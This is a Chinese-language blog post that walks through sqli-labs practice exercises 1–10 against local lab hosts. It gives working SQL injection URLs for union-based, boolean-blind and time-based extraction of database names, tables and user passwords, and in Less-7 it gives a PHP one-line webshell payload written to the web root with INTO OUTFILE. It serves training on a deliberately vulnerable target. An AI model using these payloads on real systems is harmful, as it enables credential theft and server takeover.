title: sqli-labs靶场1-10
tags: sql-labs
abbrlink: 9e3b89d1
date: 2022-07-26 16:09:31

参考crow: https://github.com/crow821/crowsec

MySQL连接的当前用户名和主机名:

SELECT SYSTEM_USER();

MySQL连接的当前用户名和主机名:

SELECT USER(); 

MySQL帐户的用户名和主机名:

current_user()

MySQL查看当前数据库

select database();

MySQL查看当前数据版本

select version();

MySQL查看安装路径

@@datadir

当前操作系统

@@version_compile_os

属于同一组,将属于同一组的列显示出来

group_concat()

A~B

concat_ws('~',A,B)

常用命令

查库:

select schema_name from information_schema.schemata;

查表:

select table_name from information_schema.tables where table_schema='security';

查列:

select column_name from information_schema.columns where table_name='users';

查字段:

select username,password from security.users;

Less-1 - Less-4

注入

  1. 查看是否有注入
http://192.168.169.130:86/Less-1/?id=1'
Less-1 - Less-4 的不同点
1. ?id=1'
2. ?id=1 
3. ?id=1') 
4. ?id=1"
  1. 查看有多少列
http://192.168.169.130:86/Less-1/?id=1' order by 3--+
  1. 查看哪些数据可以回显
http://192.168.169.130:86/Less-1/?id=-1' UNION SELECT 1,2,3--+
  1. 查看当前数据库
http://192.168.169.130:86/Less-1/?id=-1' UNION SELECT 1,2,database()--+
  1. 查看数据库security
http://192.168.169.130:86/sqli/Less-1/?id=-1' union select 1,2,schema_name from information_schema.schemata limit 4,1--+  
或 查看所有的数据库
http://192.168.169.130:86/sqli/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+ 
  1. 查表
http://192.168.169.130:86/sqli/Less-1/?id=-1' union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1--+ 
或 查看所有的:
http://192.168.169.130:86/sqli/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+ 
  1. 查询列信息
http://192.168.169.130:86/sqli/Less-1/?id=-1' union select 1,2,column_name from information_schema.columns where table_name=0x7573657273--+
或 是查看所以的列信息
http://192.168.169.130:86/sqli/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+ 
  1. 查询一个账号和密码
http://192.168.169.130:86/sqli/Less-1/?id=-1' union select 1,2,concat_ws('~',username,password) from security.users limit 1,1--+
或 直接可以得到所有的账号和密码,并且使用~符号进行分割。
http://192.168.169.130:86/sqli/Less-1/?id=-1' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+

Less-5 bool盲注

基础知识

  1. left()函数: left(database(),1)='s'

    left(a,b)从左侧截取a的前b位,正确则返回1,错误则返回0

  2. regexp函数:select user() regexp 'r'

    user()的结果是root,regexp为匹配root的正则表达式

  3. like函数: select user() like 'ro%

    匹配与regexp相似。

  4. substr(a,b,c) elect substr() XXXX

    substr(a,b,c)从位置b开始,截取a字符串c位长度

  5. ascii()

    将某个字符串转化为ascii值

  6. chr(数字) 或者是ord('字母')

    使用python中的两个函数可以判断当前的ascii值是多少

  • 没有错误提示 也没有回显 但是输入错误的话页面会有反应 也就是说 只有 true 和false
  1. 查看是否有注入
http://127.0.0.1/sqli/Less-5/?id=1' 
  1. 查看有多少列
http://127.0.0.1/sqli/Less-5/?id=1' order by 3--+ 
  1. 判断第一位是否是s,然后使用bp进行爆破处理:
http://127.0.0.1/sqli/Less-5/?id=1' and left((select database()),1)='s'--+ 

通过返回的长度来确定第二位是多少,最后确定为e,依次类推进行测试。

  1. 或者是使用if来进行判断测试:
    此时是没有返回的(这种方法是错误的)
http://127.0.0.1/sqli/Less-5/?id=1' and  ascii(substr((select database()),1,1))>156--+

此时返回 you are in…….代表执行成功。

http://127.0.0.1/sqli/Less-5/?id=1' and  ascii(substr((select database()),1,1))>110--+  

Less-6 bool盲注(流程同 Less-5)

完整注入流程:

  1. 通过二分法猜解得到所有的库,红色为可变参数。
http://127.0.0.1/sqli/Less-5/?id=1' and  ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >100--+ 
  1. 再次通过二分法可猜解得到security下的所有表。其中,红色为可变参数。
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1),1,1))>1--+ 
  1. 通过二分法可猜解users内的字段,其中红色为可变参数。
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 1,1),1,1)) >1 --+  
  1. 继续猜解即可得到字段内的值。
http://127.0.0.1/sqli/Less-5/?id=1'  and ascii(substr((select username from security.users limit 1,1),1,1))>1--+

Less-7

基础知识

  • 一句话木马:php版本:
<?php @eval($_POST["a"]);?>  
  • load_file() 读取本地文件
select load_file('C:\\inetpub\\target\\sqlilabs\\test.txt');
  • into outfile 写文件
select 'testtest' into outfile 'test.txt';

文件位置: C:\inetpub\target\sqlilabs

select 'testtest' into outfile 'C:\\inetpub\\target\\sqlilabs\\test.txt';
  • 注意事项: \\

完整注入流程:

  1. 报错
http://127.0.0.1/sqli/Less-7/?id=1'))--+
  1. 查看有多少列
http://127.0.0.1/sqli/Less-7/?id=1')) order by 3--+ 
  1. 将一句话木马写入其中
http://127.0.0.1/sqli/Less-7/?id=-1')) union select 1,2,'<?php @eval($_POST["a"]);?>' into outfile 'C:\\phpstudy\\PHPTutorial\\WWW\\sqli\\Less-7\\test.php' --+ 
  1. 使用中国菜刀访问即可!

Less-8

Less-8 bool盲注

  1. 判断此时存在注入漏洞
http://127.0.0.1/sqli/Less-8/?id=1’ 
  1. 当3改为4的时候,you are in….消失,说明存在三列。
http://127.0.0.1/sqli/Less-8/?id=1' order by 3--+   
  1. 猜出来当前第一位是s
http://127.0.0.1/sqli/Less-8/?id=1' and left((select database()),1)=0x73 --+

或者是使用:

http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr((select database()),1,1)) > 16--+ 此时是有回显的。
  1. 先通过大于号或者小于号来判断数据库的第一个字母是哪一个
http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >17 --+ 

也可以使用

http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1)) = 115--+ 

此时可以验证数据库中第五个数据库的第一个字母是s
5. 判断security数据库中的第4个表中的数据的第一位是否大于11

http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1),1,1)) >11 --+ 

也可以使用

http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1),1,1)) =117 --+ 

验证数据库中第4个表中的数据的第一位的第一个字母的ascii码是否是117,也就是 u

  1. 同理,进行判断表中的字段,然后进行判断。可以得到username,password;
http://127.0.0.1/sqli/Less-8/?id=1' and  ascii(substr((select column_name from information_schema.columns where table_name = 0x7573657273 limit 1,1),1,1)) >10 --+ 
  1. 同理,进行判断,最后再使用password进行判断。
http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr((select username from security.users limit 0,1),1,1)) >10 --+ 
  1. 因为猜解速度较慢,可以配合burpsuite或者是sqlmap的脚本来使用。

Less-8 时间盲注

  • IF(condition,A,B)如果条件condition为true,则执行语句A,否则执行B
  1. 使用延迟的方法判断是否存在注入漏洞。当然判断是否存在注入漏洞的方法很多。
http://127.0.0.1/sqli/Less-8/?id=1' and sleep(5)--+ 
  1. 当为8的时候很快加载,而为其他值得时候加载较慢(5s左右),那就说明此时数据库的长度就是8(security)
http://127.0.0.1/sqli/Less-8/?id=1' and if(length(database()) = 8,1,sleep(5))--+ 
  1. 如果当前数据库的第一个字母的ascii值大于113的时候,会立刻返回结果,否则执行5s。
http://127.0.0.1/sqli/Less-8/?id=1' and if(ascii(substr((select database()),1,1)) >113,1,sleep(5))--+
  1. 同理判断数据库中的第5个数据库的第一位的ascii的值是不是大于112(实际中是115),如果是的则速度返回,否则延时5s返回结果。
http://127.0.0.1/sqli/Less-8/?id=1' and if(ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1))>112,1,sleep(5))--+ 
  1. 其余步骤与法一基本类似,可以采用burpsuite或者是sql盲注脚本使用。

Less-9

  1. 当使用order by的时候,此时无论如何都是回显you are in….所以无法使用order by进行判断。
http://127.0.0.1/sqli/Less-9/?id=1' order by 3999--+ 
  1. 当存在注入漏洞时,可以使用延迟注入进行判断,此时若存在漏洞,则睡眠5s之后再返回结果。
http://127.0.0.1/sqli/Less-9/?id=1' and sleep(5)--+ 
  1. 通过返回时间进行判断,此时如果数据库长度为8,则可以较快返回。
http://127.0.0.1/sqli/Less-9/?id=1' and if(length(database())=8,1,sleep(5)); 
  1. 使用less-8中同样的方法进行判断即可!
http://127.0.0.1/sqli/Less-9/?id=1' and if(ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1))>1112,1,sleep(5))--+ 
  1. 因为盲注属于猜解,推荐使用脚本进行操作。

Less-10

1.只是将less-9中的单引号换成了双引号,其余的均相同。

 http://127.0.0.1/sqli/Less-10/?id=1" and sleep(11)--+